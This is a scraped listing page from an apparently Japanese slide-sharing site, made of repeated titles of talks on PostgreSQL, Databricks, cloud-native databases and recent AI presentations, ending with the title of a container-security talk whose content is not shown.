Databricksチューニングあれこれ(JEDAI 2023 X‘mas/忘年会 Meetup! LT登壇資料)
Databricksチューニングあれこれ(JEDAI 2023 X‘mas/忘年会 Meetup! LT登壇資料)Databricksチューニングあれこれ(JEDAI 2023 X‘mas/忘年会 Meetup! LT登壇資料)
Databricksチューニングあれこれ(JEDAI 2023 X‘mas/忘年会 Meetup! LT登壇資料)
 
詳説探究!Cloud Native Databaseの現在地点(CloudNative Days Tokyo 2023 発表資料)
詳説探究!Cloud Native Databaseの現在地点(CloudNative Days Tokyo 2023 発表資料)詳説探究!Cloud Native Databaseの現在地点(CloudNative Days Tokyo 2023 発表資料)
詳説探究!Cloud Native Databaseの現在地点(CloudNative Days Tokyo 2023 発表資料)
 
今、改めて考えるPostgreSQLプラットフォーム - マルチクラウドとポータビリティ -(PostgreSQL Conference Japan 20...
今、改めて考えるPostgreSQLプラットフォーム - マルチクラウドとポータビリティ -(PostgreSQL Conference Japan 20...今、改めて考えるPostgreSQLプラットフォーム - マルチクラウドとポータビリティ -(PostgreSQL Conference Japan 20...
今、改めて考えるPostgreSQLプラットフォーム - マルチクラウドとポータビリティ -(PostgreSQL Conference Japan 20...
 
速習! PostgreSQL専用HAソフトウェア: Patroni(PostgreSQL Conference Japan 2023 発表資料)
速習! PostgreSQL専用HAソフトウェア: Patroni(PostgreSQL Conference Japan 2023 発表資料)速習! PostgreSQL専用HAソフトウェア: Patroni(PostgreSQL Conference Japan 2023 発表資料)
速習! PostgreSQL専用HAソフトウェア: Patroni(PostgreSQL Conference Japan 2023 発表資料)
 
pgvectorを使ってChatGPTとPostgreSQLを連携してみよう!(PostgreSQL Conference Japan 2023 発表資料)
pgvectorを使ってChatGPTとPostgreSQLを連携してみよう!(PostgreSQL Conference Japan 2023 発表資料)pgvectorを使ってChatGPTとPostgreSQLを連携してみよう!(PostgreSQL Conference Japan 2023 発表資料)
pgvectorを使ってChatGPTとPostgreSQLを連携してみよう!(PostgreSQL Conference Japan 2023 発表資料)
 
マネージドPostgreSQLの実現に向けたPostgreSQL機能向上(PostgreSQL Conference Japan 2023 発表資料)
マネージドPostgreSQLの実現に向けたPostgreSQL機能向上(PostgreSQL Conference Japan 2023 発表資料)マネージドPostgreSQLの実現に向けたPostgreSQL機能向上(PostgreSQL Conference Japan 2023 発表資料)
マネージドPostgreSQLの実現に向けたPostgreSQL機能向上(PostgreSQL Conference Japan 2023 発表資料)
 
最新機能までを総ざらい!PostgreSQLの注目機能を振り返る(第32回 中国地方DB勉強会 in 岡山 発表資料)
最新機能までを総ざらい!PostgreSQLの注目機能を振り返る(第32回 中国地方DB勉強会 in 岡山 発表資料)最新機能までを総ざらい!PostgreSQLの注目機能を振り返る(第32回 中国地方DB勉強会 in 岡山 発表資料)
最新機能までを総ざらい!PostgreSQLの注目機能を振り返る(第32回 中国地方DB勉強会 in 岡山 発表資料)
 
PostgreSQLのバグとの付き合い方 ~バグの調査からコミュニティへの報告、修正パッチ投稿まで~(Open Source Conference 202...
PostgreSQLのバグとの付き合い方 ~バグの調査からコミュニティへの報告、修正パッチ投稿まで~(Open Source Conference 202...PostgreSQLのバグとの付き合い方 ~バグの調査からコミュニティへの報告、修正パッチ投稿まで~(Open Source Conference 202...
PostgreSQLのバグとの付き合い方 ~バグの調査からコミュニティへの報告、修正パッチ投稿まで~(Open Source Conference 202...
 
骨抜きアジャイルの骨を生み出す 〜私(スクラムマスター)のXP学習記録〜(XP祭り2023 発表資料)
骨抜きアジャイルの骨を生み出す 〜私(スクラムマスター)のXP学習記録〜(XP祭り2023 発表資料)骨抜きアジャイルの骨を生み出す 〜私(スクラムマスター)のXP学習記録〜(XP祭り2023 発表資料)
骨抜きアジャイルの骨を生み出す 〜私(スクラムマスター)のXP学習記録〜(XP祭り2023 発表資料)
 

Recently uploaded

Kyndryl Developer Services のご紹介 2024年7月
Kyndryl Developer Services のご紹介  2024年7月Kyndryl Developer Services のご紹介  2024年7月
Kyndryl Developer Services のご紹介 2024年7月
Takayuki Nakayama
 
MOSHI: 革新的な音声AI QAIが開発した次世代のコミュニケーションツール
MOSHI: 革新的な音声AI QAIが開発した次世代のコミュニケーションツールMOSHI: 革新的な音声AI QAIが開発した次世代のコミュニケーションツール
MOSHI: 革新的な音声AI QAIが開発した次世代のコミュニケーションツール
TsuyoshiSaito7
 
Imitation learning for robotics 勉強会資料(20240701)
Imitation learning for robotics 勉強会資料(20240701)Imitation learning for robotics 勉強会資料(20240701)
Imitation learning for robotics 勉強会資料(20240701)
Natsutani Minoru
 
Matsuo-Iwasawa Lab. Research unit Introduction
Matsuo-Iwasawa Lab. Research unit IntroductionMatsuo-Iwasawa Lab. Research unit Introduction
Matsuo-Iwasawa Lab. Research unit Introduction
Matsuo Lab
 
「スマートエスイー」におけるスマートシステム&サービスおよびDX推進人材の産学連携育成ならびに参照モデルに基づく育成プログラム分析
「スマートエスイー」におけるスマートシステム&サービスおよびDX推進人材の産学連携育成ならびに参照モデルに基づく育成プログラム分析「スマートエスイー」におけるスマートシステム&サービスおよびDX推進人材の産学連携育成ならびに参照モデルに基づく育成プログラム分析
「スマートエスイー」におけるスマートシステム&サービスおよびDX推進人材の産学連携育成ならびに参照モデルに基づく育成プログラム分析
Hironori Washizaki
 
第61回CV勉強会「CVPR2024読み会」(前編)発表資料:State Space Models for Event Cameras
第61回CV勉強会「CVPR2024読み会」(前編)発表資料:State Space Models for Event Cameras第61回CV勉強会「CVPR2024読み会」(前編)発表資料:State Space Models for Event Cameras
第61回CV勉強会「CVPR2024読み会」(前編)発表資料:State Space Models for Event Cameras
Takuya Minagawa
 
MySQLの文字コードと照合順序について 2024/07/05の勉強会で発表されたものです。
MySQLの文字コードと照合順序について 2024/07/05の勉強会で発表されたものです。MySQLの文字コードと照合順序について 2024/07/05の勉強会で発表されたものです。
MySQLの文字コードと照合順序について 2024/07/05の勉強会で発表されたものです。
iPride Co., Ltd.
 
【GPT4-o越えのリアルタイム会話AI】kyutai labsのMoshiデモ動画を解説
【GPT4-o越えのリアルタイム会話AI】kyutai labsのMoshiデモ動画を解説【GPT4-o越えのリアルタイム会話AI】kyutai labsのMoshiデモ動画を解説
【GPT4-o越えのリアルタイム会話AI】kyutai labsのMoshiデモ動画を解説
TsuyoshiSaito7
 
"ros2rapper", Hardware implimentation of ROS2 communication Protocol without ...
"ros2rapper", Hardware implimentation of ROS2 communication Protocol without ..."ros2rapper", Hardware implimentation of ROS2 communication Protocol without ...
"ros2rapper", Hardware implimentation of ROS2 communication Protocol without ...
たけおか しょうぞう
 
Matsuo-Iwasawa Lab. | Research unit Introduction
Matsuo-Iwasawa Lab. | Research unit IntroductionMatsuo-Iwasawa Lab. | Research unit Introduction
Matsuo-Iwasawa Lab. | Research unit Introduction
Matsuo Lab
 
論文紹介:Task-aligned Part-aware Panoptic Segmentation through Joint Object-Part ...
論文紹介:Task-aligned Part-aware Panoptic Segmentation through Joint Object-Part ...論文紹介:Task-aligned Part-aware Panoptic Segmentation through Joint Object-Part ...
論文紹介:Task-aligned Part-aware Panoptic Segmentation through Joint Object-Part ...
Toru Tamaki
 
【AI論文解説】LLMの事前学習をvisionに適用する手法Autoregressive Image Models
【AI論文解説】LLMの事前学習をvisionに適用する手法Autoregressive Image Models【AI論文解説】LLMの事前学習をvisionに適用する手法Autoregressive Image Models
【AI論文解説】LLMの事前学習をvisionに適用する手法Autoregressive Image Models
Sony - Neural Network Libraries
 
Matsuo-Iwasawa lab. Research Unit Introduction
Matsuo-Iwasawa lab. Research Unit IntroductionMatsuo-Iwasawa lab. Research Unit Introduction
Matsuo-Iwasawa lab. Research Unit Introduction
Matsuo Lab
 
「福利厚生をコストから投資へ」AIで社員1人ひとりに最適な支援を届ける 全く新しいカフェテリアプラン
「福利厚生をコストから投資へ」AIで社員1人ひとりに最適な支援を届ける 全く新しいカフェテリアプラン「福利厚生をコストから投資へ」AIで社員1人ひとりに最適な支援を届ける 全く新しいカフェテリアプラン
「福利厚生をコストから投資へ」AIで社員1人ひとりに最適な支援を届ける 全く新しいカフェテリアプラン
shogotaguchi
 

Recently uploaded (14)

Kyndryl Developer Services のご紹介 2024年7月
Kyndryl Developer Services のご紹介  2024年7月Kyndryl Developer Services のご紹介  2024年7月
Kyndryl Developer Services のご紹介 2024年7月
 
MOSHI: 革新的な音声AI QAIが開発した次世代のコミュニケーションツール
MOSHI: 革新的な音声AI QAIが開発した次世代のコミュニケーションツールMOSHI: 革新的な音声AI QAIが開発した次世代のコミュニケーションツール
MOSHI: 革新的な音声AI QAIが開発した次世代のコミュニケーションツール
 
Imitation learning for robotics 勉強会資料(20240701)
Imitation learning for robotics 勉強会資料(20240701)Imitation learning for robotics 勉強会資料(20240701)
Imitation learning for robotics 勉強会資料(20240701)
 
Matsuo-Iwasawa Lab. Research unit Introduction
Matsuo-Iwasawa Lab. Research unit IntroductionMatsuo-Iwasawa Lab. Research unit Introduction
Matsuo-Iwasawa Lab. Research unit Introduction
 
「スマートエスイー」におけるスマートシステム&サービスおよびDX推進人材の産学連携育成ならびに参照モデルに基づく育成プログラム分析
「スマートエスイー」におけるスマートシステム&サービスおよびDX推進人材の産学連携育成ならびに参照モデルに基づく育成プログラム分析「スマートエスイー」におけるスマートシステム&サービスおよびDX推進人材の産学連携育成ならびに参照モデルに基づく育成プログラム分析
「スマートエスイー」におけるスマートシステム&サービスおよびDX推進人材の産学連携育成ならびに参照モデルに基づく育成プログラム分析
 
第61回CV勉強会「CVPR2024読み会」(前編)発表資料:State Space Models for Event Cameras
第61回CV勉強会「CVPR2024読み会」(前編)発表資料:State Space Models for Event Cameras第61回CV勉強会「CVPR2024読み会」(前編)発表資料:State Space Models for Event Cameras
第61回CV勉強会「CVPR2024読み会」(前編)発表資料:State Space Models for Event Cameras
 
MySQLの文字コードと照合順序について 2024/07/05の勉強会で発表されたものです。
MySQLの文字コードと照合順序について 2024/07/05の勉強会で発表されたものです。MySQLの文字コードと照合順序について 2024/07/05の勉強会で発表されたものです。
MySQLの文字コードと照合順序について 2024/07/05の勉強会で発表されたものです。
 
【GPT4-o越えのリアルタイム会話AI】kyutai labsのMoshiデモ動画を解説
【GPT4-o越えのリアルタイム会話AI】kyutai labsのMoshiデモ動画を解説【GPT4-o越えのリアルタイム会話AI】kyutai labsのMoshiデモ動画を解説
【GPT4-o越えのリアルタイム会話AI】kyutai labsのMoshiデモ動画を解説
 
"ros2rapper", Hardware implimentation of ROS2 communication Protocol without ...
"ros2rapper", Hardware implimentation of ROS2 communication Protocol without ..."ros2rapper", Hardware implimentation of ROS2 communication Protocol without ...
"ros2rapper", Hardware implimentation of ROS2 communication Protocol without ...
 
Matsuo-Iwasawa Lab. | Research unit Introduction
Matsuo-Iwasawa Lab. | Research unit IntroductionMatsuo-Iwasawa Lab. | Research unit Introduction
Matsuo-Iwasawa Lab. | Research unit Introduction
 
論文紹介:Task-aligned Part-aware Panoptic Segmentation through Joint Object-Part ...
論文紹介:Task-aligned Part-aware Panoptic Segmentation through Joint Object-Part ...論文紹介:Task-aligned Part-aware Panoptic Segmentation through Joint Object-Part ...
論文紹介:Task-aligned Part-aware Panoptic Segmentation through Joint Object-Part ...
 
【AI論文解説】LLMの事前学習をvisionに適用する手法Autoregressive Image Models
【AI論文解説】LLMの事前学習をvisionに適用する手法Autoregressive Image Models【AI論文解説】LLMの事前学習をvisionに適用する手法Autoregressive Image Models
【AI論文解説】LLMの事前学習をvisionに適用する手法Autoregressive Image Models
 
Matsuo-Iwasawa lab. Research Unit Introduction
Matsuo-Iwasawa lab. Research Unit IntroductionMatsuo-Iwasawa lab. Research Unit Introduction
Matsuo-Iwasawa lab. Research Unit Introduction
 
「福利厚生をコストから投資へ」AIで社員1人ひとりに最適な支援を届ける 全く新しいカフェテリアプラン
「福利厚生をコストから投資へ」AIで社員1人ひとりに最適な支援を届ける 全く新しいカフェテリアプラン「福利厚生をコストから投資へ」AIで社員1人ひとりに最適な支援を届ける 全く新しいカフェテリアプラン
「福利厚生をコストから投資へ」AIで社員1人ひとりに最適な支援を届ける 全く新しいカフェテリアプラン
 

乗っ取れコンテナ!!開発者から見たコンテナセキュリティの考え方(CloudNative Days Tokyo 2021 発表資料)